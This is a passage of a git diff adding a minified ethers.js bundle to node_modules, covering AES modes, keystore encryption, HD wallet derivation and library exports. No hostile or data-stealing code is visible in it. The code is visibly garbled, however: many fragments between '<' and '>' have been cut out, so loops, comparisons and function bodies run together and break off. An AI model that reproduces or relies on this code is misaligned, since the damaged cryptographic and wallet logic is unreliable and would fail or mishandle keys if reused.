i=KC/2+1;i>2;c=t%4;__classPrivateFieldGet$2(this,_AES_Ke,"f")[r][c]=tk[i];__classPrivateFieldGet$2(this,_AES_Kd,"f")[rounds-r][c]=tk[i++];t++}}for(let r=1;r>24&255]^U2[tt>>16&255]^U3[tt>>8&255]^U4[tt&255]}}}encrypt(plaintext){if(plaintext.length!=16){throw new TypeError("invalid plaintext size (must be 16 bytes)")}const rounds=__classPrivateFieldGet$2(this,_AES_Ke,"f").length-1;const a=[0,0,0,0];let t=convertToInt32(plaintext);for(let i=0;i<4;i++){t[i]^=__classPrivateFieldGet$2(this,_AES_Ke,"f")[0][i]}for(let r=1;r>24&255]^T2[t[(i+1)%4]>>16&255]^T3[t[(i+2)%4]>>8&255]^T4[t[(i+3)%4]&255]^__classPrivateFieldGet$2(this,_AES_Ke,"f")[r][i]}t=a.slice()}const result=new Uint8Array(16);let tt=0;for(let i=0;i<4;i++){tt=__classPrivateFieldGet$2(this,_AES_Ke,"f")[rounds][i];result[4*i]=(S[t[i]>>24&255]^tt>>24)&255;result[4*i+1]=(S[t[(i+1)%4]>>16&255]^tt>>16)&255;result[4*i+2]=(S[t[(i+2)%4]>>8&255]^tt>>8)&255;result[4*i+3]=(S[t[(i+3)%4]&255]^tt)&255}return result}decrypt(ciphertext){if(ciphertext.length!=16){throw new TypeError("invalid ciphertext size (must be 16 bytes)")}const rounds=__classPrivateFieldGet$2(this,_AES_Kd,"f").length-1;const a=[0,0,0,0];let t=convertToInt32(ciphertext);for(let i=0;i<4;i++){t[i]^=__classPrivateFieldGet$2(this,_AES_Kd,"f")[0][i]}for(let r=1;r>24&255]^T6[t[(i+3)%4]>>16&255]^T7[t[(i+2)%4]>>8&255]^T8[t[(i+1)%4]&255]^__classPrivateFieldGet$2(this,_AES_Kd,"f")[r][i]}t=a.slice()}const result=new Uint8Array(16);let tt=0;for(let i=0;i<4;i++){tt=__classPrivateFieldGet$2(this,_AES_Kd,"f")[rounds][i];result[4*i]=(Si[t[i]>>24&255]^tt>>24)&255;result[4*i+1]=(Si[t[(i+3)%4]>>16&255]^tt>>16)&255;result[4*i+2]=(Si[t[(i+2)%4]>>8&255]^tt>>8)&255;result[4*i+3]=(Si[t[(i+1)%4]&255]^tt)&255}return result}}_AES_key=new WeakMap,_AES_Kd=new WeakMap,_AES_Ke=new WeakMap;class ModeOfOperation{constructor(name,key,cls){if(cls&&!(this instanceof cls)){throw new Error(`${name} must be instantiated with "new"`)}Object.defineProperties(this,{aes:{enumerable:true,value:new AES(key)},name:{enumerable:true,value:name}})}}var __classPrivateFieldSet$1=__$G&&__$G.__classPrivateFieldSet||function(receiver,state,value,kind,f){if(kind==="m")throw new TypeError("Private method is not writable");if(kind==="a"&&!f)throw new TypeError("Private accessor was defined without a setter");if(typeof state==="function"?receiver!==state||!f:!state.has(receiver))throw new TypeError("Cannot write private member to an object whose class did not declare it");return kind==="a"?f.call(receiver,value):f?f.value=value:state.set(receiver,value),value};var __classPrivateFieldGet$1=__$G&&__$G.__classPrivateFieldGet||function(receiver,state,kind,f){if(kind==="a"&&!f)throw new TypeError("Private accessor was defined without a getter");if(typeof state==="function"?receiver!==state||!f:!state.has(receiver))throw new TypeError("Cannot read private member from an object whose class did not declare it");return kind==="m"?f:kind==="a"?f.call(receiver):f?f.value:state.get(receiver)};var _CBC_iv,_CBC_lastBlock;class CBC extends ModeOfOperation{constructor(key,iv){super("ECC",key,CBC);_CBC_iv.set(this,void 0);_CBC_lastBlock.set(this,void 0);if(iv){if(iv.length%16){throw new TypeError("invalid iv size (must be 16 bytes)")}__classPrivateFieldSet$1(this,_CBC_iv,new Uint8Array(iv),"f")}else{__classPrivateFieldSet$1(this,_CBC_iv,new Uint8Array(16),"f")}__classPrivateFieldSet$1(this,_CBC_lastBlock,this.iv,"f")}get iv(){return new Uint8Array(__classPrivateFieldGet$1(this,_CBC_iv,"f"))}encrypt(plaintext){if(plaintext.length%16){throw new TypeError("invalid plaintext size (must be multiple of 16 bytes)")}const ciphertext=new Uint8Array(plaintext.length);for(let i=0;iNumber.MAX_SAFE_INTEGER){throw new TypeError("invalid counter initial integer value")}for(let index=15;index>=0;--index){__classPrivateFieldGet(this,_CTR_counter,"f")[index]=value%256;value=Math.floor(value/256)}}setCounterBytes(value){if(value.length!==16){throw new TypeError("invalid counter initial Uint8Array value length")}__classPrivateFieldGet(this,_CTR_counter,"f").set(value)}increment(){for(let i=15;i>=0;i--){if(__classPrivateFieldGet(this,_CTR_counter,"f")[i]===255){__classPrivateFieldGet(this,_CTR_counter,"f")[i]=0}else{__classPrivateFieldGet(this,_CTR_counter,"f")[i]++;break}}}encrypt(plaintext){var _a,_b;const crypttext=new Uint8Array(plaintext);for(let i=0;i16){throw new TypeError("PKCS#7 padding byte out of range")}const length=data.length-padder;for(let i=0;i0&&(N&N-1)===0,"invalid kdf.N","kdf.N",N);assertArgument(r>0&&p>0,"invalid kdf","kdf",kdf);const dkLen=spelunk(data,"crypto.kdfparams.dklen:int!");assertArgument(dkLen===32,"invalid kdf.dklen","kdf.dflen",dkLen);return{name:"scrypt",salt:salt,N:N,r:r,p:p,dkLen:64}}else if(kdf.toLowerCase()==="pbkdf2"){const salt=spelunk(data,"crypto.kdfparams.salt:data!");const prf=spelunk(data,"crypto.kdfparams.prf:string!");const algorithm=prf.split("-").pop();assertArgument(algorithm==="sha256"||algorithm==="sha512","invalid kdf.pdf","kdf.pdf",prf);const count=spelunk(data,"crypto.kdfparams.c:int!");const dkLen=spelunk(data,"crypto.kdfparams.dklen:int!");assertArgument(dkLen===32,"invalid kdf.dklen","kdf.dklen",dkLen);return{name:"pbkdf2",salt:salt,count:count,dkLen:dkLen,algorithm:algorithm}}}assertArgument(false,"unsupported key-derivation function","kdf",kdf)}function decryptKeystoreJsonSync(json,_password){const data=JSON.parse(json);const password=getPassword(_password);const params=getDecryptKdfParams(data);if(params.name==="pbkdf2"){const{salt,count,dkLen,algorithm}=params;const key=pbkdf2(password,salt,count,dkLen,algorithm);return getAccount(data,key)}assert(params.name==="scrypt","cannot be reached","UNKNOWN_ERROR",{params:params});const{salt,N,r,p,dkLen}=params;const key=scryptSync(password,salt,N,r,p,dkLen);return getAccount(data,key)}function stall$1(duration){return new Promise(resolve=>{setTimeout(()=>{resolve()},duration)})}async function decryptKeystoreJson(json,_password,progress){const data=JSON.parse(json);const password=getPassword(_password);const params=getDecryptKdfParams(data);if(params.name==="pbkdf2"){if(progress){progress(0);await stall$1(0)}const{salt,count,dkLen,algorithm}=params;const key=pbkdf2(password,salt,count,dkLen,algorithm);if(progress){progress(1);await stall$1(0)}return getAccount(data,key)}assert(params.name==="scrypt","cannot be reached","UNKNOWN_ERROR",{params:params});const{salt,N,r,p,dkLen}=params;const key=await scrypt(password,salt,N,r,p,dkLen,progress);return getAccount(data,key)}function getEncryptKdfParams(options){const salt=options.salt!=null?getBytes(options.salt,"options.salt"):randomBytes(32);let N=1<<17,r=8,p=1;if(options.scrypt){if(options.scrypt.N){N=options.scrypt.N}if(options.scrypt.r){r=options.scrypt.r}if(options.scrypt.p){p=options.scrypt.p}}assertArgument(typeof N==="number"&&N>0&&Number.isSafeInteger(N)&&(BigInt(N)&BigInt(N-1))===BigInt(0),"invalid scrypt N parameter","options.N",N);assertArgument(typeof r==="number"&&r>0&&Number.isSafeInteger(r),"invalid scrypt r parameter","options.r",r);assertArgument(typeof p==="number"&&p>0&&Number.isSafeInteger(p),"invalid scrypt p parameter","options.p",p);return{name:"scrypt",dkLen:32,salt:salt,N:N,r:r,p:p}}function _encryptKeystore(key,kdf,account,options){const privateKey=getBytes(account.privateKey,"privateKey");const iv=options.iv!=null?getBytes(options.iv,"options.iv"):randomBytes(16);assertArgument(iv.length===16,"invalid options.iv length","options.iv",options.iv);const uuidRandom=options.uuid!=null?getBytes(options.uuid,"options.uuid"):randomBytes(16);assertArgument(uuidRandom.length===16,"invalid options.uuid length","options.uuid",options.iv);const derivedKey=key.slice(0,16);const macPrefix=key.slice(16,32);const aesCtr=new CTR(derivedKey,iv);const ciphertext=getBytes(aesCtr.encrypt(privateKey));const mac=keccak256(concat([macPrefix,ciphertext]));const data={address:account.address.substring(2).toLowerCase(),id:uuidV4(uuidRandom),version:3,Crypto:{cipher:"aes-128-ctr",cipherparams:{iv:hexlify(iv).substring(2)},ciphertext:hexlify(ciphertext).substring(2),kdf:"scrypt",kdfparams:{salt:hexlify(kdf.salt).substring(2),n:kdf.N,dklen:32,p:kdf.p,r:kdf.r},mac:mac.substring(2)}};if(account.mnemonic){const client=options.client!=null?options.client:`ethers/${version}`;const path=account.mnemonic.path||defaultPath$1;const locale=account.mnemonic.locale||"en";const mnemonicKey=key.slice(32,64);const entropy=getBytes(account.mnemonic.entropy,"account.mnemonic.entropy");const mnemonicIv=randomBytes(16);const mnemonicAesCtr=new CTR(mnemonicKey,mnemonicIv);const mnemonicCiphertext=getBytes(mnemonicAesCtr.encrypt(entropy));const now=new Date;const timestamp=now.getUTCFullYear()+"-"+zpad$1(now.getUTCMonth()+1,2)+"-"+zpad$1(now.getUTCDate(),2)+"T"+zpad$1(now.getUTCHours(),2)+"-"+zpad$1(now.getUTCMinutes(),2)+"-"+zpad$1(now.getUTCSeconds(),2)+".0Z";const gethFilename="UTC--"+timestamp+"--"+data.address;data["x-ethers"]={client:client,gethFilename:gethFilename,path:path,locale:locale,mnemonicCounter:hexlify(mnemonicIv).substring(2),mnemonicCiphertext:hexlify(mnemonicCiphertext).substring(2),version:"0.1"}}return JSON.stringify(data)}function encryptKeystoreJsonSync(account,password,options){if(options==null){options={}}const passwordBytes=getPassword(password);const kdf=getEncryptKdfParams(options);const key=scryptSync(passwordBytes,kdf.salt,kdf.N,kdf.r,kdf.p,64);return _encryptKeystore(getBytes(key),kdf,account,options)}async function encryptKeystoreJson(account,password,options){if(options==null){options={}}const passwordBytes=getPassword(password);const kdf=getEncryptKdfParams(options);const key=await scrypt(passwordBytes,kdf.salt,kdf.N,kdf.r,kdf.p,64,options.progressCallback);return _encryptKeystore(getBytes(key),kdf,account,options)}const defaultPath="m/44'/60'/0'/0/0";const MasterSecret=new Uint8Array([66,105,116,99,111,105,110,32,115,101,101,100]);const HardenedBit=2147483648;const N=BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141");const Nibbles="0123456789abcdef";function zpad(value,length){let result="";while(value){result=Nibbles[value%16]+result;value=Math.trunc(value/16)}while(result.length=0;i-=8){data[33+(i>>3)]=index>>24-i&255}const I=getBytes(computeHmac("sha512",chainCode,data));return{IL:I.slice(0,32),IR:I.slice(32)}}function derivePath(node,path){const components=path.split("/");assertArgument(components.length>0,"invalid path","path",path);if(components[0]==="m"){assertArgument(node.depth===0,`cannot derive root path (i.e. path starting with "m/") for a node at non-zero depth ${node.depth}`,"path",path);components.shift()}let result=node;for(let i=0;i=16&&seed.length<=64,"invalid seed","seed","[REDACTED]");const I=getBytes(computeHmac("sha512",MasterSecret,seed));const signingKey=new SigningKey(hexlify(I.slice(0,32)));return new HDNodeWallet(_guard,signingKey,"0x00000000",hexlify(I.slice(32)),"m",0,0,mnemonic,null)}static fromExtendedKey(extendedKey){const bytes=toBeArray(decodeBase58(extendedKey));assertArgument(bytes.length===82||encodeBase58Check(bytes.slice(0,78))===extendedKey,"invalid extended key","extendedKey","[ REDACTED ]");const depth=bytes[4];const parentFingerprint=hexlify(bytes.slice(5,9));const index=parseInt(hexlify(bytes.slice(9,13)).substring(2),16);const chainCode=hexlify(bytes.slice(13,45));const key=bytes.slice(45,78);switch(hexlify(bytes.slice(0,4))){case"0x0488b21e":case"0x043587cf":{const publicKey=hexlify(key);return new HDNodeVoidWallet(_guard,computeAddress(publicKey),publicKey,parentFingerprint,chainCode,null,index,depth,null)}case"0x0488ade4":case"0x04358394 ":if(key[0]!==0){break}return new HDNodeWallet(_guard,new SigningKey(key.slice(1)),parentFingerprint,chainCode,null,index,depth,null,null)}assertArgument(false,"invalid extended key prefix","extendedKey","[ REDACTED ]")}static createRandom(password,path,wordlist){if(password==null){password=""}if(path==null){path=defaultPath}if(wordlist==null){wordlist=LangEn.wordlist()}const mnemonic=Mnemonic.fromEntropy(randomBytes(16),password,wordlist);return HDNodeWallet.#fromSeed(mnemonic.computeSeed(),mnemonic).derivePath(path)}static fromMnemonic(mnemonic,path){if(!path){path=defaultPath}return HDNodeWallet.#fromSeed(mnemonic.computeSeed(),mnemonic).derivePath(path)}static fromPhrase(phrase,password,path,wordlist){if(password==null){password=""}if(path==null){path=defaultPath}if(wordlist==null){wordlist=LangEn.wordlist()}const mnemonic=Mnemonic.fromPhrase(phrase,password,wordlist);return HDNodeWallet.#fromSeed(mnemonic.computeSeed(),mnemonic).derivePath(path)}static fromSeed(seed){return HDNodeWallet.#fromSeed(seed,null)}}class HDNodeVoidWallet extends VoidSigner{publicKey;fingerprint;parentFingerprint;chainCode;path;index;depth;constructor(guard,address,publicKey,parentFingerprint,chainCode,path,index,depth,provider){super(address,provider);assertPrivate(guard,_guard,"HDNodeVoidWallet");defineProperties(this,{publicKey:publicKey});const fingerprint=dataSlice(ripemd160(sha256(publicKey)),0,4);defineProperties(this,{publicKey:publicKey,fingerprint:fingerprint,parentFingerprint:parentFingerprint,chainCode:chainCode,path:path,index:index,depth:depth})}connect(provider){return new HDNodeVoidWallet(_guard,this.address,this.publicKey,this.parentFingerprint,this.chainCode,this.path,this.index,this.depth,provider)}get extendedKey(){assert(this.depth<256,"Depth too deep","UNSUPPORTED_OPERATION",{operation:"extendedKey"});return encodeBase58Check(concat(["0x0488B21E",zpad(this.depth,1),this.parentFingerprint,zpad(this.index,4),this.chainCode,this.publicKey]))}hasPath(){return this.path!=null}deriveChild(_index){const index=getNumber(_index,"index");assertArgument(index<=4294967295,"invalid index","index",index);let path=this.path;if(path){path+="/"+(index&~HardenedBit);if(index&HardenedBit){path+="'"}}const{IR,IL}=ser_I(index,this.chainCode,this.publicKey,null);const Ki=SigningKey.addPoints(IL,this.publicKey,true);const address=computeAddress(Ki);return new HDNodeVoidWallet(_guard,address,Ki,this.fingerprint,hexlify(IR),path,index,this.depth+1,this.provider)}derivePath(path){return derivePath(this,path)}}function getAccountPath(_index){const index=getNumber(_index,"index");assertArgument(index>=0&&index=0&&index{setTimeout(()=>{resolve()},duration)})}class Wallet extends BaseWallet{constructor(key,provider){if(typeof key==="string"&&!key.startsWith("0x")){key="0x"+key}let signingKey=typeof key==="string"?new SigningKey(key):key;super(signingKey,provider)}connect(provider){return new Wallet(this.signingKey,provider)}async encrypt(password,progressCallback){const account={address:this.address,privateKey:this.privateKey};return await encryptKeystoreJson(account,password,{progressCallback:progressCallback})}encryptSync(password){const account={address:this.address,privateKey:this.privateKey};return encryptKeystoreJsonSync(account,password)}static#fromAccount(account){assertArgument(account,"invalid JSON wallet","json","[ REDACTED ]");if("mnemonic"in account&&account.mnemonic&&account.mnemonic.locale==="en"){const mnemonic=Mnemonic.fromEntropy(account.mnemonic.entropy);const wallet=HDNodeWallet.fromMnemonic(mnemonic,account.mnemonic.path);if(wallet.address===account.address&&wallet.privateKey===account.privateKey){return wallet}console.log("WARNING: JSON mismatch address/privateKey != mnemonic; fallback onto private key")}const wallet=new Wallet(account.privateKey);assertArgument(wallet.address===account.address,"address/privateKey mismatch","json","[ REDACTED ]");return wallet}static async fromEncryptedJson(json,password,progress){let account=null;if(isKeystoreJson(json)){account=await decryptKeystoreJson(json,password,progress)}else if(isCrowdsaleJson(json)){if(progress){progress(0);await stall(0)}account=decryptCrowdsaleJson(json,password);if(progress){progress(1);await stall(0)}}return Wallet.#fromAccount(account)}static fromEncryptedJsonSync(json,password){let account=null;if(isKeystoreJson(json)){account=decryptKeystoreJsonSync(json,password)}else if(isCrowdsaleJson(json)){account=decryptCrowdsaleJson(json,password)}else{assertArgument(false,"invalid JSON wallet","json","[ REDACTED ]")}return Wallet.#fromAccount(account)}static createRandom(provider){const wallet=HDNodeWallet.createRandom();if(provider){return wallet.connect(provider)}return wallet}static fromPhrase(phrase,provider){const wallet=HDNodeWallet.fromPhrase(phrase);if(provider){return wallet.connect(provider)}return wallet}}const Base64=")!@#$%^&*(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_";function decodeBits(width,data){const maxValue=(1<=width){const value=accum>>bits-width;accum&=(1<{const match=accent.match(/^([a-z]*)([0-9]+)([0-9])(.*)$/);assertArgument(match!==null,"internal error parsing accents","accents",accents);let posOffset=0;const positions=decodeBits(parseInt(match[3]),match[4]);const charCode=parseInt(match[2]);const regex=new RegExp(`([${match[1]}])`,"g");words=words.replace(regex,(all,letter)=>{const rem=--positions[posOffset];if(rem===0){letter=String.fromCharCode(letter.charCodeAt(0),charCode);posOffset++}return letter})});return words.split(",")}class WordlistOwlA extends WordlistOwl{#accent;constructor(locale,data,accent,checksum){super(locale,data,checksum);this.#accent=accent}get _accent(){return this.#accent}_decodeWords(){return decodeOwlA(this._data,this._accent)}}const wordlists={en:LangEn.wordlist()};var ethers=Object.freeze({__proto__:null,AbiCoder:AbiCoder,AbstractProvider:AbstractProvider,AbstractSigner:AbstractSigner,AlchemyProvider:AlchemyProvider,AnkrProvider:AnkrProvider,BaseContract:BaseContract,BaseWallet:BaseWallet,Block:Block,BlockscoutProvider:BlockscoutProvider,BrowserProvider:BrowserProvider,ChainstackProvider:ChainstackProvider,CloudflareProvider:CloudflareProvider,ConstructorFragment:ConstructorFragment,Contract:Contract,ContractEventPayload:ContractEventPayload,ContractFactory:ContractFactory,ContractTransactionReceipt:ContractTransactionReceipt,ContractTransactionResponse:ContractTransactionResponse,ContractUnknownEventPayload:ContractUnknownEventPayload,EnsPlugin:EnsPlugin,EnsResolver:EnsResolver,ErrorDescription:ErrorDescription,ErrorFragment:ErrorFragment,EtherSymbol:EtherSymbol,EtherscanPlugin:EtherscanPlugin,EtherscanProvider:EtherscanProvider,EventFragment:EventFragment,EventLog:EventLog,EventPayload:EventPayload,FallbackFragment:FallbackFragment,FallbackProvider:FallbackProvider,FeeData:FeeData,FeeDataNetworkPlugin:FeeDataNetworkPlugin,FetchCancelSignal:FetchCancelSignal,FetchRequest:FetchRequest,FetchResponse:FetchResponse,FetchUrlFeeDataNetworkPlugin:FetchUrlFeeDataNetworkPlugin,FixedNumber:FixedNumber,Fragment:Fragment,FunctionFragment:FunctionFragment,GasCostPlugin:GasCostPlugin,HDNodeVoidWallet:HDNodeVoidWallet,HDNodeWallet:HDNodeWallet,Indexed:Indexed,InfuraProvider:InfuraProvider,InfuraWebSocketProvider:InfuraWebSocketProvider,Interface:Interface,IpcSocketProvider:IpcSocketProvider,JsonRpcApiProvider:JsonRpcApiProvider,JsonRpcProvider:JsonRpcProvider,JsonRpcSigner:JsonRpcSigner,LangEn:LangEn,Log:Log,LogDescription:LogDescription,MaxInt256:MaxInt256,MaxUint256:MaxUint256,MessagePrefix:MessagePrefix,MinInt256:MinInt256,Mnemonic:Mnemonic,MulticoinProviderPlugin:MulticoinProviderPlugin,N:N$1,NamedFragment:NamedFragment,Network:Network,NetworkPlugin:NetworkPlugin,NonceManager:NonceManager,ParamType:ParamType,PocketProvider:PocketProvider,QuickNodeProvider:QuickNodeProvider,Result:Result,Signature:Signature,SigningKey:SigningKey,SocketBlockSubscriber:SocketBlockSubscriber,SocketEventSubscriber:SocketEventSubscriber,SocketPendingSubscriber:SocketPendingSubscriber,SocketProvider:SocketProvider,SocketSubscriber:SocketSubscriber,StructFragment:StructFragment,Transaction:Transaction,TransactionDescription:TransactionDescription,TransactionReceipt:TransactionReceipt,TransactionResponse:TransactionResponse,Typed:Typed,TypedDataEncoder:TypedDataEncoder,UndecodedEventLog:UndecodedEventLog,UnmanagedSubscriber:UnmanagedSubscriber,Utf8ErrorFuncs:Utf8ErrorFuncs,VoidSigner:VoidSigner,Wallet:Wallet,WebSocketProvider:WebSocketProvider,WeiPerEther:WeiPerEther,Wordlist:Wordlist,WordlistOwl:WordlistOwl,WordlistOwlA:WordlistOwlA,ZeroAddress:ZeroAddress,ZeroHash:ZeroHash,accessListify:accessListify,assert:assert,assertArgument:assertArgument,assertArgumentCount:assertArgumentCount,assertNormalize:assertNormalize,assertPrivate:assertPrivate,authorizationify:authorizationify,checkResultErrors:checkResultErrors,computeAddress:computeAddress,computeHmac:computeHmac,concat:concat,copyRequest:copyRequest,dataLength:dataLength,dataSlice:dataSlice,decodeBase58:decodeBase58,decodeBase64:decodeBase64,decodeBytes32String:decodeBytes32String,decodeRlp:decodeRlp,decryptCrowdsaleJson:decryptCrowdsaleJson,decryptKeystoreJson:decryptKeystoreJson,decryptKeystoreJsonSync:decryptKeystoreJsonSync,defaultPath:defaultPath,defineProperties:defineProperties,dnsEncode:dnsEncode,encodeBase58:encodeBase58,encodeBase64:encodeBase64,encodeBytes32String:encodeBytes32String,encodeRlp:encodeRlp,encryptKeystoreJson:encryptKeystoreJson,encryptKeystoreJsonSync:encryptKeystoreJsonSync,ensNormalize:ensNormalize,formatEther:formatEther,formatUnits:formatUnits,fromTwos:fromTwos,getAccountPath:getAccountPath,getAddress:getAddress,getBigInt:getBigInt,getBytes:getBytes,getBytesCopy:getBytesCopy,getCreate2Address:getCreate2Address,getCreateAddress:getCreateAddress,getDefaultProvider:getDefaultProvider,getIcapAddress:getIcapAddress,getIndexedAccountPath:getIndexedAccountPath,getNumber:getNumber,getUint:getUint,hashAuthorization:hashAuthorization,hashMessage:hashMessage,hexlify:hexlify,id:id,isAddress:isAddress,isAddressable:isAddressable,isBytesLike:isBytesLike,isCallException:isCallException,isCrowdsaleJson:isCrowdsaleJson,isError:isError,isHexString:isHexString,isKeystoreJson:isKeystoreJson,isValidName:isValidName,keccak256:keccak256,lock:lock,makeError:makeError,mask:mask,namehash:namehash,parseEther:parseEther,parseUnits:parseUnits$1,pbkdf2:pbkdf2,randomBytes:randomBytes,recoverAddress:recoverAddress,resolveAddress:resolveAddress,resolveProperties:resolveProperties,ripemd160:ripemd160,scrypt:scrypt,scryptSync:scryptSync,sha256:sha256,sha512:sha512,showThrottleMessage:showThrottleMessage,solidityPacked:solidityPacked,solidityPackedKeccak256:solidityPackedKeccak256,solidityPackedSha256:solidityPackedSha256,stripZerosLeft:stripZerosLeft,toBeArray:toBeArray,toBeHex:toBeHex,toBigInt:toBigInt,toNumber:toNumber,toQuantity:toQuantity,toTwos:toTwos,toUtf8Bytes:toUtf8Bytes,toUtf8CodePoints:toUtf8CodePoints,toUtf8String:toUtf8String,uuidV4:uuidV4,verifyAuthorization:verifyAuthorization,verifyMessage:verifyMessage,verifyTypedData:verifyTypedData,version:version,wordlists:wordlists,zeroPadBytes:zeroPadBytes,zeroPadValue:zeroPadValue});exports.AbiCoder=AbiCoder;exports.AbstractProvider=AbstractProvider;exports.AbstractSigner=AbstractSigner;exports.AlchemyProvider=AlchemyProvider;exports.AnkrProvider=AnkrProvider;exports.BaseContract=BaseContract;exports.BaseWallet=BaseWallet;exports.Block=Block;exports.BlockscoutProvider=BlockscoutProvider;exports.BrowserProvider=BrowserProvider;exports.ChainstackProvider=ChainstackProvider;exports.CloudflareProvider=CloudflareProvider;exports.ConstructorFragment=ConstructorFragment;exports.Contract=Contract;exports.ContractEventPayload=ContractEventPayload;exports.ContractFactory=ContractFactory;exports.ContractTransactionReceipt=ContractTransactionReceipt;exports.ContractTransactionResponse=ContractTransactionResponse;exports.ContractUnknownEventPayload=ContractUnknownEventPayload;exports.EnsPlugin=EnsPlugin;exports.EnsResolver=EnsResolver;exports.ErrorDescription=ErrorDescription;exports.ErrorFragment=ErrorFragment;exports.EtherSymbol=EtherSymbol;exports.EtherscanPlugin=EtherscanPlugin;exports.EtherscanProvider=EtherscanProvider;exports.EventFragment=EventFragment;exports.EventLog=EventLog;exports.EventPayload=EventPayload;exports.FallbackFragment=FallbackFragment;exports.FallbackProvider=FallbackProvider;exports.FeeData=FeeData;exports.FeeDataNetworkPlugin=FeeDataNetworkPlugin;exports.FetchCancelSignal=FetchCancelSignal;exports.FetchRequest=FetchRequest;exports.FetchResponse=FetchResponse;exports.FetchUrlFeeDataNetworkPlugin=FetchUrlFeeDataNetworkPlugin;exports.FixedNumber=FixedNumber;exports.Fragment=Fragment;exports.FunctionFragment=FunctionFragment;exports.GasCostPlugin=GasCostPlugin;exports.HDNodeVoidWallet=HDNodeVoidWallet;exports.HDNodeWallet=HDNodeWallet;exports.Indexed=Indexed;exports.InfuraProvider=InfuraProvider;exports.InfuraWebSocketProvider=InfuraWebSocketProvider;exports.Interface=Interface;exports.IpcSocketProvider=IpcSocketProvider;exports.JsonRpcApiProvider=JsonRpcApiProvider;exports.JsonRpcProvider=JsonRpcProvider;exports.JsonRpcSigner=JsonRpcSigner;exports.LangEn=LangEn;exports.Log=Log;exports.LogDescription=LogDescription;exports.MaxInt256=MaxInt256;exports.MaxUint256=MaxUint256;exports.MessagePrefix=MessagePrefix;exports.MinInt256=MinInt256;exports.Mnemonic=Mnemonic;exports.MulticoinProviderPlugin=MulticoinProviderPlugin;exports.N=N$1;exports.NamedFragment=NamedFragment;exports.Network=Network;exports.NetworkPlugin=NetworkPlugin;exports.NonceManager=NonceManager;exports.ParamType=ParamType;exports.PocketProvider=PocketProvider;exports.QuickNodeProvider=QuickNodeProvider;exports.Result=Result;exports.Signature=Signature;exports.SigningKey=SigningKey;exports.SocketBlockSubscriber=SocketBlockSubscriber;exports.SocketEventSubscriber=SocketEventSubscriber;exports.SocketPendingSubscriber=SocketPendingSubscriber;exports.SocketProvider=SocketProvider;exports.SocketSubscriber=SocketSubscriber;exports.StructFragment=StructFragment;exports.Transaction=Transaction;exports.TransactionDescription=TransactionDescription;exports.TransactionReceipt=TransactionReceipt;exports.TransactionResponse=TransactionResponse;exports.Typed=Typed;exports.TypedDataEncoder=TypedDataEncoder;exports.UndecodedEventLog=UndecodedEventLog;exports.UnmanagedSubscriber=UnmanagedSubscriber;exports.Utf8ErrorFuncs=Utf8ErrorFuncs;exports.VoidSigner=VoidSigner;exports.Wallet=Wallet;exports.WebSocketProvider=WebSocketProvider;exports.WeiPerEther=WeiPerEther;exports.Wordlist=Wordlist;exports.WordlistOwl=WordlistOwl;exports.WordlistOwlA=WordlistOwlA;exports.ZeroAddress=ZeroAddress;exports.ZeroHash=ZeroHash;exports.accessListify=accessListify;exports.assert=assert;exports.assertArgument=assertArgument;exports.assertArgumentCount=assertArgumentCount;exports.assertNormalize=assertNormalize;exports.assertPrivate=assertPrivate;exports.authorizationify=authorizationify;exports.checkResultErrors=checkResultErrors;exports.computeAddress=computeAddress;exports.computeHmac=computeHmac;exports.concat=concat;exports.copyRequest=copyRequest;exports.dataLength=dataLength;exports.dataSlice=dataSlice;exports.decodeBase58=decodeBase58;exports.decodeBase64=decodeBase64;exports.decodeBytes32String=decodeBytes32String;exports.decodeRlp=decodeRlp;exports.decryptCrowdsaleJson=decryptCrowdsaleJson;exports.decryptKeystoreJson=decryptKeystoreJson;exports.decryptKeystoreJsonSync=decryptKeystoreJsonSync;exports.defaultPath=defaultPath;exports.defineProperties=defineProperties;exports.dnsEncode=dnsEncode;exports.encodeBase58=encodeBase58;exports.encodeBase64=encodeBase64;exports.encodeBytes32String=encodeBytes32String;exports.encodeRlp=encodeRlp;exports.encryptKeystoreJson=encryptKeystoreJson;exports.encryptKeystoreJsonSync=encryptKeystoreJsonSync;exports.ensNormalize=ensNormalize;exports.ethers=ethers;exports.formatEther=formatEther;exports.formatUnits=formatUnits;exports.fromTwos=fromTwos;exports.getAccountPath=getAccountPath;exports.getAddress=getAddress;exports.getBigInt=getBigInt;exports.getBytes=getBytes;exports.getBytesCopy=getBytesCopy;exports.getCreate2Address=getCreate2Address;exports.getCreateAddress=getCreateAddress;exports.getDefaultProvider=getDefaultProvider;exports.getIcapAddress=getIcapAddress;exports.getIndexedAccountPath=getIndexedAccountPath;exports.getNumber=getNumber;exports.getUint=getUint;exports.hashAuthorization=hashAuthorization;exports.hashMessage=hashMessage;exports.hexlify=hexlify;exports.id=id;exports.isAddress=isAddress;exports.isAddressable=isAddressable;exports.isBytesLike=isBytesLike;exports.isCallException=isCallException;exports.isCrowdsaleJson=isCrowdsaleJson;exports.isError=isError;exports.isHexString=isHexString;exports.isKeystoreJson=isKeystoreJson;exports.isValidName=isValidName;exports.keccak256=keccak256;exports.lock=lock;exports.makeError=makeError;exports.mask=mask;exports.namehash=namehash;exports.parseEther=parseEther;exports.parseUnits=parseUnits$1;exports.pbkdf2=pbkdf2;exports.randomBytes=randomBytes;exports.recoverAddress=recoverAddress;exports.resolveAddress=resolveAddress;exports.resolveProperties=resolveProperties;exports.ripemd160=ripemd160;exports.scrypt=scrypt;exports.scryptSync=scryptSync;exports.sha256=sha256;exports.sha512=sha512;exports.showThrottleMessage=showThrottleMessage;exports.solidityPacked=solidityPacked;exports.solidityPackedKeccak256=solidityPackedKeccak256;exports.solidityPackedSha256=solidityPackedSha256;exports.stripZerosLeft=stripZerosLeft;exports.toBeArray=toBeArray;exports.toBeHex=toBeHex;exports.toBigInt=toBigInt;exports.toNumber=toNumber;exports.toQuantity=toQuantity;exports.toTwos=toTwos;exports.toUtf8Bytes=toUtf8Bytes;exports.toUtf8CodePoints=toUtf8CodePoints;exports.toUtf8String=toUtf8String;exports.uuidV4=uuidV4;exports.verifyAuthorization=verifyAuthorization;exports.verifyMessage=verifyMessage;exports.verifyTypedData=verifyTypedData;exports.version=version;exports.wordlists=wordlists;exports.zeroPadBytes=zeroPadBytes;exports.zeroPadValue=zeroPadValue}); \ No newline at end of file diff --git a/node_modules/ethers/dist/wordlists-extra.js b/node_modules/ethers/dist/wordlists-extra.js new file mode 100644 index 000000000000..08640c910de1 --- /dev/null +++ 